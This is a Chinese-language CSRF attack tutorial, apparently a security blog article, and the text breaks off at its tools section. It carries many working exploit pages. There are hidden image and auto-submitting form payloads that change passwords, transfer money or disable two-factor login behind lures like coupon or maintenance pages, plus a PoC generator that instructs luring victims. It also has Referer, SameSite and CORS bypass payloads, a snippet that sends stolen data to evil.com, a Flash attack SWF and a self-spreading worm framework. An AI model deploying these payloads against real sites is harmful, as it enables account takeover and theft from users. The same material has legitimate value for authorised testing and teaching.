前言与简介
跨站请求伪造(Cross-Site Request Forgery,CSRF)是Web安全领域最经典、也最容易被低估的漏洞类型之一。尽管OWASP早在十年前就将其列入十大Web安全威胁,Spring、Django、Laravel等主流框架也内置了防御机制,但在2026年的真实攻防场景中,CSRF漏洞依然大量存在。原因在于:微服务架构的普及导致API接口爆炸式增长、第三方系统集成的复杂化引入了新的跨域风险、SameSite Cookie属性在旧浏览器和跨子域场景下的局限、以及JSON API对CORS配置的误用,使得CSRF攻击面不但没有缩小,反而以更隐蔽的方式扩展。
根据2025年度的安全统计,在完成Web应用渗透测试的项目中,约18%的系统存在可利用的CSRF漏洞,其中金融、电商、SaaS平台是重灾区。攻击者利用CSRF可以在用户不知情的情况下,以受害者身份执行修改密码、转账、删除数据、变更权限配置等高危操作,直接导致账户接管和数据泄露。更危险的是,CSRF蠕虫(如Samy Worm的变体)可以实现自我传播,在数小时内感染数十万用户。
本文将系统讲解CSRF的基础原理、GET/POST/JSON/Multipart各类CSRF实战、绕过技术、Flash跨域利用、CSRF蠕虫设计、自动化工具、CSRF与XSS组合攻击、完整防御方案、检测测试方法以及靶场实战,帮助安全工程师从攻防双重视角全面掌握CSRF。
【提示】 本文所有技术内容(包括PoC、payload、脚本、配置)仅用于授权测试、安全学习和防御研究。未经授权对任何系统进行CSRF测试或攻击属于违法行为。请严格遵守《中华人民共和国网络安全法》《数据安全法》《个人信息保护法》及相关法律法规,在获得书面授权的前提下开展安全测试工作。
一、CSRF基础原理
1.1 CSRF定义与危害
CSRF(Cross-Site Request Forgery),中文为"跨站请求伪造",是一种利用用户已认证身份,在用户不知情的情况下,诱使浏览器向目标网站发送恶意请求的攻击方式。攻击者并不需要获取用户的Cookie或密码,而是借助浏览器在用户登录后自动携带认证凭证的特性,让目标服务器误以为请求来自用户的真实意图。
CSRF的核心危害包括但不限于:
| 账户接管 | 修改密码、绑定邮箱、修改密保问题 | 严重 | 修改密码CSRF实现永久接管 |
| 资金损失 | 转账、支付、购买商品 | 严重 | 银行转账CSRF导致资金被盗 |
| 数据篡改 | 修改配置、删除文章、变更权限 | 高 | 管理员配置CSRF导致权限提升 |
| 信息泄露 | 利用CSRF触发API返回敏感数据 | 中 | JSONP CSRF窃取用户信息 |
| 蠕虫传播 | CSRF+XSS组合实现自我复制 | 极高 | Samy Worm 24小时感染百万用户 |
| 业务破坏 | 删除账号、注销服务 | 高 | 批量注销用户账户 |
1.2 同源策略与Cookie机制
要理解CSRF,必须先理解浏览器的同源策略(Same-Origin Policy)和Cookie携带机制。
同源策略规定,脚本(JavaScript)只能访问与其自身同源的资源。同源由三个要素决定:协议(Scheme)、主机(Host)、端口(Port)。三者完全一致才算同源。但是,同源策略并不阻止浏览器发起跨域请求——它只限制脚本读取跨域响应。这意味着,攻击者可以在恶意页面中构造指向目标网站的请求,浏览器会正常发送这个请求。
关键在于Cookie的携带规则。浏览器在发送HTTP请求时,会根据Cookie的属性决定是否携带:
| Domain | 指定Cookie的作用域域名 | 子域Cookie可被父域请求携带 |
| Path | 指定Cookie的作用路径 | 限制范围有限,可被绕过 |
| Secure | 仅HTTPS传输 | 无法防止CSRF,仅防嗅探 |
| HttpOnly | 禁止JavaScript访问 | 防XSS窃取Cookie,不防CSRF |
| SameSite | 控制跨站Cookie携带 | 现代浏览器CSRF防御核心 |
【提示】 HttpOnly属性只能防止XSS通过JavaScript读取Cookie,对CSRF完全无效。因为CSRF不依赖读取Cookie,而是利用浏览器自动携带Cookie的特性。这是新手最常见的误解。
1.3 CSRF触发条件
CSRF攻击能够成功,需要同时满足以下三个条件:
| 条件1 | 用户已登录目标网站 | 浏览器中存在有效的认证Cookie | 缩短会话有效期 |
| 条件2 | 服务端无二次验证 | 请求仅依赖Cookie认证,无Token/验证码 | 引入CSRF Token |
| 条件3 | Cookie自动携带 | 浏览器跨域请求时自动附带Cookie | 配置SameSite属性 |
当这三个条件同时满足时,攻击者只需诱导用户访问一个恶意页面,该页面中的代码就会触发浏览器向目标网站发送携带用户Cookie的请求,服务端在无二次验证的情况下会执行该请求。
1.4 CSRF与XSS的区别
CSRF和XSS经常被放在一起讨论,但两者的攻击原理和防御方法完全不同:
| 攻击原理 | 伪造用户请求,利用身份执行操作 | 注入恶意脚本,在用户浏览器执行 |
| 信任关系 | 利用服务端对用户身份的信任 | 利用用户对网站的信任 |
| 是否需要注入 | 不需要注入代码到目标站 | 需要将脚本注入目标页面 |
| Cookie利用 | 不读取Cookie,利用自动携带 | 读取Cookie并发送到外部 |
| 核心危害 | 以用户身份执行操作 | 窃取数据、劫持会话、挂马 |
| 关键防御 | CSRF Token、SameSite | 输入过滤、输出编码、CSP |
| HttpOnly防御 | 无效 | 有效(防Cookie窃取) |
| 利用前提 | 用户已登录 | 页面存在注入点 |
【提示】 XSS的威力通常大于CSRF,因为XSS可以在同源内执行任意操作,天然绕过同源策略和CSRF Token防御。如果系统存在XSS,CSRF防御(Token)通常会被直接绕过。因此安全建设中应优先修复XSS。
1.5 CSRF分类
根据请求类型和数据格式的不同,CSRF可分为以下几类:
| GET型CSRF | GET | 无 | img/iframe/script标签 | 低 | 修改密码、删除操作 |
| POST型CSRF | POST | application/x-www-form-urlencoded | 自动提交表单 | 低 | 表单提交、配置修改 |
| JSON型CSRF | POST | application/json | flash/form伪JSON | 中高 | RESTful API |
| Multipart型CSRF | POST | multipart/form-data | 表单文件上传 | 中 | 文件上传接口 |
| JSONP型CSRF | GET | application/javascript | script标签回调 | 中 | 数据接口劫持 |
1.6 OWASP Top 10中的位置
在OWASP Top 10 2021中,CSRF被合并到A01:2021 – Broken Access Control(失效的访问控制)类别中。在更早的OWASP Top 10 2013中,CSRF单独列为第8项(A8-Cross-Site Request Forgery)。这一调整并不意味着CSRF威胁降低,而是反映了OWASP对访问控制类问题的整合归类思路。
| OWASP Top 10 2013 | A8(独立) | 跨站请求伪造作为独立类别 |
| OWASP Top 10 2017 | 合并入A6 | 敏感数据暴露与安全配置错误 |
| OWASP Top 10 2021 | A01子项 | 归入失效的访问控制 |
| OWASP API Top 10 2023 | 未直接列出 | CSRF风险隐含在API访问控制中 |
二、GET型CSRF实战
2.1 GET型CSRF原理
GET型CSRF是最简单也最经典的CSRF形式。当敏感操作通过GET请求完成时(如修改密码、转账等),攻击者可以通过HTML标签自动发起GET请求,无需用户任何交互。
GET型CSRF的核心原理是:浏览器在加载HTML标签(如img、iframe、script、link)时,会自动向标签src或href属性指向的URL发起GET请求,并自动携带目标域的Cookie。
2.2 漏洞场景分析
以下场景如果通过GET请求执行敏感操作,就存在GET型CSRF:
| 修改密码 | http://bank.com/pwd?new=123456 | 账户接管 |
| 转账操作 | http://bank.com/transfer?to=hacker&amount=10000 | 资金损失 |
| 删除文章 | http://blog.com/delete?id=100 | 数据丢失 |
| 权限修改 | http://admin.com/role?user=guest&role=admin | 权限提升 |
| 邮箱绑定 | http://app.com/email?addr=hacker@evil.com | 账户劫持 |
| 配置修改 | http://app.com/config?debug=true | 安全降级 |
2.3 完整PoC构造
以下是GET型CSRF的各种PoC构造方式:
img标签方式(最常用,零交互):
<!– 修改密码CSRF PoC –>
<html>
<body>
<h1>恭喜您获得红包</h1>
<!– 用户打开页面后,img标签自动发送GET请求修改密码 –>
<img src="http://target.com/pwd/change?new_password=hacker123&confirm=hacker123" style="display:none;">
</body>
</html>
iframe方式(可隐藏整个请求过程):
<html>
<body>
<iframe src="http://target.com/transfer?to=attacker&amount=50000" style="display:none;" width="0" height="0"></iframe>
</body>
</html>
script标签方式(适用于JSONP接口):
<html>
<body>
<!– 利用script标签跨域加载,浏览器自动携带Cookie –>
<script src="http://target.com/api/delete?id=100"></script>
</body>
</html>
link标签方式(利用CSS预加载):
<html>
<head>
<!– link标签的prefetch也会触发GET请求 –>
<link rel="prefetch" href="http://target.com/config?debug=true">
</head>
</html>
多请求组合(一次页面加载触发多个CSRF):
<html>
<body>
<img src="http://target.com/pwd/change?new=hack123" style="display:none;">
<img src="http://target.com/email/bind?addr=hacker@evil.com" style="display:none;">
<img src="http://target.com/phone/unbind" style="display:none;">
</body>
</html>
2.4 自动化利用脚本
以下Python脚本用于批量生成GET型CSRF的PoC页面:
#!/usr/bin/env python3
"""
GET型CSRF PoC自动生成器
用法: python csrf_get_poc_gen.py -u <target_url> -o <output_file>
"""
import argparse
import urllib.parse
from html import escape
def generate_get_csrf_poc(target_url, action_name="敏感操作"):
"""生成GET型CSRF PoC页面"""
parsed = urllib.parse.urlparse(target_url)
poc_html = f"""<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>恭喜您获得优惠券</title>
<style>
body {{ font-family: Arial, sans-serif; text-align: center; padding: 50px; }}
.coupon {{ font-size: 24px; color: #e74c3c; margin: 20px; }}
</style>
</head>
<body>
<h1>恭喜您获得价值500元优惠券</h1>
<p class="coupon">正在为您领取,请稍候…</p>
<!– CSRF载荷:img标签自动发起GET请求 –>
<img src="{escape(target_url)}" style="display:none;" alt="">
<!– 备用触发方式 –>
<iframe src="{escape(target_url)}" style="display:none;" width="0" height="0"></iframe>
<script>
// 延迟再次触发,确保Cookie已加载
setTimeout(function() {{
var img = new Image();
img.src = "{escape(target_url)}&_t=" + Date.now();
}}, 2000);
</script>
</body>
</html>"""
return poc_html
def main():
parser = argparse.ArgumentParser(description="GET型CSRF PoC生成器")
parser.add_argument("-u", "–url", required=True, help="目标漏洞URL")
parser.add_argument("-o", "–output", default="csrf_poc.html", help="输出文件名")
parser.add_argument("-n", "–name", default="敏感操作", help="操作名称")
args = parser.parse_args()
poc = generate_get_csrf_poc(args.url, args.name)
with open(args.output, "w", encoding="utf-8") as f:
f.write(poc)
print(f"[+] CSRF PoC已生成: {args.output}")
print(f"[+] 目标URL: {args.url}")
print(f"[+] 使用方法: 将 {args.output} 部署到任意Web服务器,诱导受害者访问")
if __name__ == "__main__":
main()
2.5 完整攻击流程
GET型CSRF的完整攻击流程如下:
| 1 | 信息收集 | 识别目标站点使用Cookie认证的敏感GET操作 |
| 2 | 漏洞确认 | 检查目标请求是否包含CSRF Token或二次验证 |
| 3 | PoC构造 | 根据漏洞URL构造img/iframe等标签的恶意页面 |
| 4 | 部署页面 | 将恶意页面上传到攻击者控制的服务器 |
| 5 | 诱导访问 | 通过钓鱼邮件、社交媒体、即时通讯等渠道发送链接 |
| 6 | 触发请求 | 受害者打开页面后浏览器自动发送CSRF请求 |
| 7 | 验证结果 | 检查目标操作是否成功执行 |
三、POST型CSRF实战
3.1 POST型CSRF原理
当敏感操作使用POST方法提交时,GET型CSRF的img标签方式不再适用。因为img标签只能发起GET请求。此时攻击者需要构造一个自动提交的HTML表单,通过JavaScript在页面加载时自动提交POST请求到目标网站。
POST型CSRF的关键在于:浏览器在提交跨域表单时,会自动携带目标域的Cookie。虽然跨域表单提交的响应受同源策略限制无法被脚本读取,但请求本身会被服务端处理执行,这正是CSRF攻击所需要的。
3.2 表单自动提交技术
自动提交表单的核心技术:
// 方式1:页面加载后自动提交
window.onload = function() {
document.getElementById('csrf_form').submit();
};
// 方式2:使用submit事件,绕过部分检测
document.addEventListener('DOMContentLoaded', function() {
document.forms['csrf_form'].submit();
});
// 方式3:隐藏在iframe中,对用户完全透明
var iframe = document.createElement('iframe');
iframe.name = 'csrf_frame';
iframe.style.display = 'none';
document.body.appendChild(iframe);
var form = document.getElementById('csrf_form');
form.target = 'csrf_frame';
form.submit();
3.3 完整PoC构造
完整POST型CSRF PoC页面:
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<title>系统维护通知</title>
</head>
<body>
<h2>系统升级中,请稍候…</h2>
<!– 隐藏的CSRF表单 –>
<form id="csrf_form" action="http://target.com/transfer" method="POST" target="hidden_frame">
<input type="hidden" name="to_account" value="attacker_6789">
<input type="hidden" name="amount" value="10000">
<input type="hidden" name="currency" value="CNY">
<input type="hidden" name="remark" value="系统维护">
</form>
<!– 隐藏iframe接收表单提交,避免页面跳转 –>
<iframe name="hidden_frame" style="display:none;" width="0" height="0"></iframe>
<script>
// 页面加载后自动提交表单
document.getElementById('csrf_form').submit();
</script>
</body>
</html>
修改密码场景的POST型CSRF:
<html>
<body>
<form id="pwd_form" action="http://target.com/api/password" method="POST" target="hide">
<input type="hidden" name="old_password" value="">
<input type="hidden" name="new_password" value="hacked123">
<input type="hidden" name="confirm_password" value="hacked123">
</form>
<iframe name="hide" style="display:none;"></iframe>
<script>document.getElementById('pwd_form').submit();</script>
</body>
</html>
3.4 多表单提交技巧
在复杂攻击场景中,可能需要在一个页面中提交多个CSRF请求,形成攻击链:
<!DOCTYPE html>
<html>
<head><title>页面加载中…</title></head>
<body>
<!– 表单1:先修改邮箱 –>
<form id="step1" action="http://target.com/email/change" method="POST" target="f1">
<input type="hidden" name="email" value="hacker@evil.com">
</form>
<iframe name="f1" style="display:none;"></iframe>
<!– 表单2:再修改密码 –>
<form id="step2" action="http://target.com/password/change" method="POST" target="f2">
<input type="hidden" name="new" value="hacked123">
</form>
<iframe name="f2" style="display:none;"></iframe>
<!– 表单3:最后关闭二次验证 –>
<form id="step3" action="http://target.com/2fa/disable" method="POST" target="f3">
<input type="hidden" name="confirm" value="true">
</form>
<iframe name="f3" style="display:none;"></iframe>
<script>
// 串行提交,每步间隔2秒确保前一步完成
document.getElementById('step1').submit();
setTimeout(() => document.getElementById('step2').submit(), 2000);
setTimeout(() => document.getElementById('step3').submit(), 4000);
</script>
</body>
</html>
3.5 完整利用流程
| 1 | 分析目标表单 | 抓包获取POST请求参数结构 |
| 2 | 确认无Token | 检查请求中是否有CSRF Token字段 |
| 3 | 构造PoC表单 | 复制所有必填参数到隐藏表单 |
| 4 | 添加自动提交 | JavaScript onload自动submit |
| 5 | 隐藏提交结果 | 使用隐藏iframe作为target |
| 6 | 部署诱导访问 | 钓鱼邮件或社交媒体投递 |
四、JSON/Multipart型CSRF
4.1 JSON CSRF原理与条件
随着RESTful API的普及,越来越多的敏感操作通过JSON请求完成。JSON型CSRF比传统表单CSRF难度更高,因为浏览器原生表单只能提交application/x-www-form-urlencoded或multipart/form-data格式的数据,无法直接设置Content-Type: application/json。
JSON CSRF成功的条件:
| Content-Type宽松 | 服务端不严格校验Content-Type | 尝试表单格式提交JSON |
| 接受form格式 | 服务端能解析表单格式的JSON参数 | 检查Content-Type协商 |
| 无Token | 接口无CSRF Token验证 | 抓包检查请求头 |
| Cookie认证 | 仅依赖Cookie进行身份认证 | 分析认证机制 |
4.2 JSON请求伪造技巧
方式1:form表单伪JSON(利用服务端不严格校验Content-Type):
<html>
<body>
<!– 通过表单提交,服务端可能按参数名解析JSON字段 –>
<form id="csrf" action="http://target.com/api/transfer" method="POST" enctype="text/plain">
<input type="hidden" name='{"to":"attacker","amount":10000,"test":"' value='ignored"}'>
</form>
<script>document.getElementById('csrf').submit();</script>
</body>
</html>
上述PoC利用了enctype="text/plain"的特性。当表单以text/plain编码提交时,浏览器发送的body格式为name=value。攻击者巧妙构造name和value,使其拼接后形成合法的JSON字符串。
方式2:利用2531技巧( exploitation of charset and encoding):
<html>
<body>
<form action="http://target.com/api/update" method="POST" enctype="text/plain">
<input type="hidden" name='{"name":"victim","role":"admin","padding":"' value='padding"}'>
</form>
<script>document.forms[0].submit();</script>
</body>
</html>
实际发送的请求体为:
{"name":"victim","role":"admin","padding":"=padding"}
方式3:Flash跨域发送JSON(利用crossdomain.xml配置不当):
// ActionScript 3.0 – 需要目标站点存在宽松的crossdomain.xml
var request:URLRequest = new URLRequest("http://target.com/api/transfer");
request.method = URLRequestMethod.POST;
request.data = '{"to":"attacker","amount":50000}';
request.contentType = "application/json";
var loader:URLLoader = new URLLoader();
loader.load(request); // Flash自动携带Cookie
4.3 Multipart型CSRF原理与构造
Multipart型CSRF针对文件上传接口或使用multipart/form-data编码的表单。由于HTML原生表单支持multipart编码,所以Multipart CSRF的构造并不比普通POST CSRF难。
<html>
<body>
<!– Multipart CSRF:模拟文件上传操作 –>
<form id="csrf" action="http://target.com/api/avatar/upload" method="POST" enctype="multipart/form-data" target="hide">
<!– 构造文件名和内容 –>
<input type="hidden" name="desc" value="profile">
<!– 通过input type=file自动填充(需要用户交互或利用拖拽) –>
</form>
<iframe name="hide" style="display:none;"></iframe>
<script>document.getElementById('csrf').submit();</script>
</body>
</html>
利用Canvas动态生成文件并上传的Multipart CSRF:
// 构造一个包含恶意内容的"文件"用于Multipart CSRF
function buildMultipartBody(fields, boundary) {
let body = '';
for (const [key, value] of Object.entries(fields)) {
body += '–' + boundary + '\\r\\n';
body += `Content-Disposition: form-data; name="${key}"\\r\\n\\r\\n`;
body += value + '\\r\\n';
}
body += '–' + boundary + '–\\r\\n';
return body;
}
// 利用fetch发送multipart请求(需要CORS支持或同域)
async function multipartCsrf(targetUrl, fields) {
const boundary = '—-csrf' + Math.random().toString(16).substr(2);
const body = buildMultipartBody(fields, boundary);
const response = await fetch(targetUrl, {
method: 'POST',
credentials: 'include', // 携带Cookie
headers: {
'Content-Type': `multipart/form-data; boundary=${boundary}`
},
body: body
});
return response;
}
4.4 完整利用Payload集
| 标准JSON API | application/json | Flash跨域 | 需crossdomain.xml允许 |
| 宽松JSON API | text/plain | form表单伪JSON | enctype=text/plain |
| 表单兼容JSON | application/x-www-form-urlencoded | 普通表单 | 服务端双格式解析 |
| 文件上传 | multipart/form-data | multipart表单 | 模拟文件字段 |
| JSONP回调 | application/javascript | script标签 | 劫持回调函数 |
五、CSRF绕过技术
5.1 Token绕过方法
当目标系统使用了CSRF Token但实现存在缺陷时,可通过以下方法绕过:
| 删除Token | 服务端Token为空时不校验 | Token校验逻辑不严谨 | 低 |
| 参数污染 | 重复参数名绕过Token检查 | 旧框架解析差异 | 低 |
| Token预测 | Token可预测或使用时间戳 | Token熵不足 | 中 |
| 跨子域复用 | 子域可获取父域Token | 子域信任范围过大 | 中 |
| Token固定 | Token不过期可复用 | Token未设置有效期 | 低 |
| GET中传Token | Token通过URL传递 | Referer泄露Token | 低 |
删除Token绕过示例:
# 测试服务端是否在Token为空时跳过校验
import requests
target_url = "http://target.com/api/transfer"
session = requests.Session()
# 先登录获取有效Cookie
session.get("http://target.com/login")
session.cookies.update({"session": "valid_session_cookie"})
# 尝试1:不带Token
resp1 = session.post(target_url, data={"to": "attacker", "amount": 1000})
print(f"无Token响应码: {resp1.status_code}")
# 尝试2:Token为空字符串
resp2 = session.post(target_url, data={
"to": "attacker", "amount": 1000, "csrf_token": ""
})
print(f"空Token响应码: {resp2.status_code}")
# 尝试3:Token字段名为null
resp3 = session.post(target_url, data={
"to": "attacker", "amount": 1000, "csrf_token": "null"
})
print(f"null字符串Token响应码: {resp3.status_code}")
5.2 Referer绕过
当目标系统通过检查Referer头来防御CSRF时,可通过以下方式绕过:
| 空Referer | 部分配置在Referer为空时放行 | 使用<meta name="referrer" content="no-referrer"> |
| 子字符串匹配 | Referer检查仅匹配关键词 | 注册包含关键词的域名 |
| 正则绕过 | 正则表达式不严谨 | 构造匹配的URL结构 |
| 协议绕过 | 仅检查https而放行http | 使用http协议页面 |
| 子域绕过 | 检查允许子域通配 | 在受信任子域下部署PoC |
空Referer绕过PoC:
<html>
<head>
<!– 禁止发送Referer –>
<meta name="referrer" content="no-referrer">
<!– 或者使用Referrer-Policy –>
<meta http-equiv="Referrer-Policy" content="no-referrer">
</head>
<body>
<form id="csrf" action="http://target.com/api/transfer" method="POST">
<input type="hidden" name="to" value="attacker">
<input type="hidden" name="amount" value="5000">
</form>
<script>document.getElementById('csrf').submit();</script>
</body>
</html>
子字符串匹配绕过示例:
假设服务端Referer检查逻辑为:if referer.contains("target.com"),攻击者可注册域名target.com.evil.com或使用evil.com/target.com路径:
<!– 部署在 target.com.evil.com 上 –>
<form action="http://target.com/api/transfer" method="POST">
<input type="hidden" name="to" value="attacker">
<input type="hidden" name="amount" value="5000">
</form>
协议绕过PoC:
<!– 当服务端仅检查Referer是否以https开头或包含target.com时 –>
<!– 使用data: URI或about:blank使Referer为空或特殊值 –>
<iframe src="data:text/html,<form action='http://target.com/api/delete' method='POST'><input type='hidden' name='id' value='100'><input type='submit'></form><script>document.forms[0].submit()</script>"></iframe>
5.3 SameSite Cookie绕过
SameSite属性是现代浏览器的CSRF防御机制,但也存在绕过空间:
| None | 任何跨站请求都携带Cookie | 无需绕过 |
| Lax | 仅顶层导航GET请求携带Cookie | 利用顶层导航GET方式 |
| Strict | 完全不携带跨站Cookie | 子域利用/XSS辅助 |
| 未设置 | 新版浏览器默认Lax | 同Lax绕过 |
SameSite=Lax绕过(利用顶层导航):
<!– SameSite=Lax允许顶层导航的GET请求携带Cookie –>
<!– 利用window.location或a标签跳转 –>
<html>
<body>
<a id="csrf_link" href="http://target.com/transfer?to=attacker&amount=5000">点击领取红包</a>
<script>
// 自动模拟用户点击,触发顶层导航GET请求
document.getElementById('csrf_link').click();
</script>
</body>
</html>
跨子域利用(当Cookie Domain设为父域时):
# 如果Cookie的Domain设置为.example.com
# 那么attacker.example.com可以读取并利用该Cookie
# 攻击者在attacker.example.com部署CSRF页面
# 由于是同父域的子域,Cookie会被携带
csrf_poc = """
<html>
<body>
<form action="http://app.example.com/api/transfer" method="POST">
<input type="hidden" name="to" value="attacker">
<input type="hidden" name="amount" value="5000">
</form>
<script>document.forms[0].submit();</script>
</body>
</html>
"""
5.4 CORS绕过与CSRF组合
当目标站点CORS配置不当时,攻击者可以利用CORS结合CSRF实现更强大的攻击:
// 利用CORS配置中的null Origin绕过
// 服务端可能允许Origin: null
// 攻击者通过iframe sandbox构造null Origin
var iframe = document.createElement('iframe');
// sandbox属性会使Origin变为null
iframe.sandbox = 'allow-scripts allow-forms';
iframe.src = 'data:text/html,' + encodeURIComponent(`
<html>
<body>
<form id="f" action="http://target.com/api/transfer" method="POST">
<input type="hidden" name="to" value="attacker">
<input type="hidden" name="amount" value="10000">
</form>
<script>document.getElementById('f').submit();</script>
</body>
</html>
`);
document.body.appendChild(iframe);
利用CORS通配符配合CSRF读取响应:
// 如果目标CORS配置为 Access-Control-Allow-Origin: *
// 且允许credentials(虽然浏览器规范禁止*与credentials同用)
// 但某些自定义实现可能存在缺陷
// 正常CSRF无法读取响应,但如果CORS配置允许特定子域
// 攻击者可以在允许的子域上发起fetch请求并读取响应
fetch('http://target.com/api/userinfo', {
credentials: 'include',
headers: { 'Content-Type': 'application/json' }
}).then(r => r.json()).then(data => {
// 如果CORS允许,攻击者可以读取CSRF请求的响应
console.log('窃取的数据:', JSON.stringify(data));
// 将数据外传
new Image().src = 'http://evil.com/collect?data=' + encodeURIComponent(JSON.stringify(data));
});
5.5 完整绕过Payload集
| Token删除 | Token非空校验 | 移除csrf_token参数 | 服务端空值跳过 |
| Token复用 | Token有效期过长 | 使用上一次有效Token | Token不过期 |
| 空Referer | Referer非空校验 | meta referrer no-referrer | 空值放行 |
| 子串Referer | contains检查 | target.com.evil.com | 关键词匹配 |
| Lax绕过 | SameSite=Lax | a标签顶层GET导航 | GET型敏感操作 |
| 子域信任 | Domain=父域 | 子域部署PoC | Cookie Domain宽松 |
| null Origin | CORS null允许 | iframe sandbox | null白名单 |
| 方法覆盖 | 仅POST校验 | X-HTTP-Method-Override | 方法覆盖支持 |
六、Flash CSRF与跨域利用
6.1 Flash跨域请求原理
Adobe Flash(已停止支持,但在内网和旧系统中仍可能存在)提供了一种绕过浏览器同源策略的机制。Flash可以通过URLRequest对象发送任意Content-Type的跨域请求,前提是目标域名的根目录下存在crossdomain.xml文件并授权了攻击者的域。
Flash跨域请求的流程:
| 1 | Flash加载 | 攻击者页面加载Flash SWF文件 |
| 2 | 策略请求 | Flash自动请求目标域的crossdomain.xml |
| 3 | 策略解析 | Flash解析XML中的域白名单 |
| 4 | 跨域请求 | 如果授权通过,Flash发送请求并携带Cookie |
| 5 | 响应读取 | Flash可以读取跨域响应数据 |
6.2 crossdomain.xml安全配置分析
以下是常见的crossdomain.xml配置及其安全风险:
<!– 危险配置1:允许所有域(通配符) –>
<?xml version="1.0"?>
<cross-domain-policy>
<allow-access-from domain="*"/>
</cross-domain-policy>
<!– 风险:任何网站都可以通过Flash发起携带Cookie的跨域请求 –>
<!– 危险配置2:允许所有子域通配 –>
<?xml version="1.0"?>
<cross-domain-policy>
<allow-access-from domain="*.example.com"/>
</cross-domain-policy>
<!– 风险:如果存在可被攻击者控制的子域,则可被利用 –>
<!– 安全配置:精确域名白名单 –>
<?xml version="1.0"?>
<cross-domain-policy>
<allow-access-from domain="trusted.example.com" secure="true"/>
<allow-access-from domain="app.example.com" secure="true"/>
<!– 不使用通配符,且secure=true要求HTTPS –>
</cross-domain-policy>
<!– 危险配置3:允许HTTP域 –>
<?xml version="1.0"?>
<cross-domain-policy>
<allow-access-from domain="*.example.com" secure="false"/>
</cross-domain-policy>
<!– 风险:secure=false允许HTTP明文传输,可被中间人利用 –>
6.3 Flash CSRF利用方法
完整的Flash CSRF利用SWF代码(ActionScript 3.0):
// CSRFAttack.as – 编译为SWF后嵌入攻击页面
package {
import flash.display.Sprite;
import flash.net.URLRequest;
import flash.net.URLRequestMethod;
import flash.net.URLLoader;
import flash.net.URLVariables;
public class CSRFAttack extends Sprite {
public function CSRFAttack() {
sendCSRF();
}
public function sendCSRF():void {
var request:URLRequest = new URLRequest("http://target.com/api/transfer");
request.method = URLRequestMethod.POST;
// 设置JSON Content-Type(表单无法做到的)
request.contentType = "application/json";
// JSON请求体
request.data = '{"to_account":"attacker","amount":50000,"currency":"CNY"}';
var loader:URLLoader = new URLLoader();
loader.load(request); // Flash自动携带目标域Cookie
}
}
}
嵌入HTML页面:
<html>
<body>
<object type="application/x-shockwave-flash" data="CSRFAttack.swf" width="1" height="1">
<param name="movie" value="CSRFAttack.swf">
<param name="allowScriptAccess" value="always">
</object>
</body>
</html>
6.4 Silverlight跨域利用
Silverlight使用类似的跨域策略文件clientaccesspolicy.xml:
<!– clientaccesspolicy.xml – Silverlight跨域策略 –>
<?xml version="1.0" encoding="utf-8"?>
<access-policy>
<cross-domain-access>
<policy>
<allow-from>
<!– 危险:通配符允许所有来源 –>
<domain uri="*"/>
</allow-from>
<grant-to>
<resource path="/" include-subpaths="true"/>
</grant-to>
</policy>
</cross-domain-access>
</access-policy>
6.5 完整利用流程
| 1 | 探测crossdomain.xml | 访问/crossdomain.xml |
| 2 | 分析策略文件 | 检查域白名单是否宽松 |
| 3 | 编写Flash载荷 | ActionScript编写CSRF SWF |
| 4 | 编译SWF | flex SDK或Flash IDE |
| 5 | 嵌入攻击页面 | HTML object标签嵌入 |
| 6 | 诱导访问 | 钓鱼投递恶意页面 |
七、CSRF Worm蠕虫
7.1 CSRF蠕虫原理
CSRF蠕虫是CSRF攻击的最高级形式,它结合了CSRF和自我传播机制,能够在无需用户交互的情况下自动感染并传播。最著名的案例是2005年的Samy Worm,它在20小时内感染了超过100万MySpace用户。
CSRF蠕虫的核心原理是:利用一个XSS或CSRF漏洞,向受害者的账户注入恶意内容(如发帖、留言、修改个人资料),该恶意内容中包含CSRF PoC,当其他用户访问受害者的页面时,又会被感染,形成指数级传播。
7.2 蠕虫传播设计
| 初始感染 | 攻击者首次植入蠕虫载荷 | XSS或CSRF修改个人资料 |
| 载荷执行 | 受害者访问被感染页面 | 页面中的JS自动执行CSRF |
| 自我复制 | 以受害者身份传播蠕虫 | CSRF修改受害者资料/发帖 |
| 指数传播 | 新受害者继续感染他人 | 蠕虫代码自动传播 |
7.3 XSS+CSRF组合蠕虫
以下是一个CSRF蠕虫的理论框架代码(仅用于安全研究教学):
/*
* CSRF蠕虫框架(教学用途)
* 此代码仅演示蠕虫传播逻辑结构
* 不包含可执行的真实攻击载荷
*/
class CSRFWorm {
constructor(config) {
this.targetSite = config.targetSite; // 目标站点
this.propagateAPI = config.propagateAPI; // 传播API(发帖/改资料)
this.payloadField = config.payloadField; // 载荷注入字段
this.wormCode = this.generateWormCode(); // 蠕虫自身代码
}
// 生成蠕虫自身的CSRF PoC
generateCSRFPoC() {
// 构造自动提交的表单
var form = document.createElement('form');
form.action = this.targetSite + this.propagateAPI;
form.method = 'POST';
form.target = 'hidden_frame';
// 注入蠕虫载荷到目标字段
var input = document.createElement('input');
input.type = 'hidden';
input.name = this.payloadField;
input.value = this.wormCode;
form.appendChild(input);
// 隐藏iframe
var iframe = document.createElement('iframe');
iframe.name = 'hidden_frame';
iframe.style.display = 'none';
document.body.appendChild(iframe);
// 自动提交
document.body.appendChild(form);
form.submit();
}
// 生成蠕虫代码(自我复制)
generateWormCode() {
// 蠕虫代码包含:
// 1. CSRF PoC生成逻辑
// 2. 载荷注入逻辑
// 3. 传播触发逻辑
return '<script>' + this.constructor.toString() + '</script>';
}
// 执行感染
infect() {
// 1. 以当前用户身份执行敏感操作
// 2. 将蠕虫代码注入到用户资料/帖子中
// 3. 等待其他用户访问
this.generateCSRFPoC();
}
}
// 蠕虫执行入口
var worm = new CSRFWorm({
targetSite: 'http://target-site.com',
propagateAPI: '/api/profile/update',
payloadField: 'signature'
});
worm.infect();
7.4 蠕虫传播数学模型
CSRF蠕虫的传播速度可以用SIR传染病模型近似:
| S | 易感人群(未感染用户) | 初始为总用户数N |
| I | 已感染用户 | 初始为1 |
| R | 已恢复/免疫用户 | 初始为0 |
| beta | 感染率(每次访问被感染概率) | 0.1-0.5 |
| gamma | 恢复率(被修复概率) | 0.01-0.1 |
【提示】 根据SIR模型,当beta > gamma时蠕虫会爆发式传播。Samy Worm的beta约为0.2,在20小时内从1个感染源传播到100万用户。防御关键在于降低beta(修复CSRF漏洞)和提高gamma(快速响应和修复)。
八、CSRF自动化工具
8.1 Burp Suite CSRF检测
Burp Suite是CSRF测试最常用的工具,其内置了CSRF POC生成器:
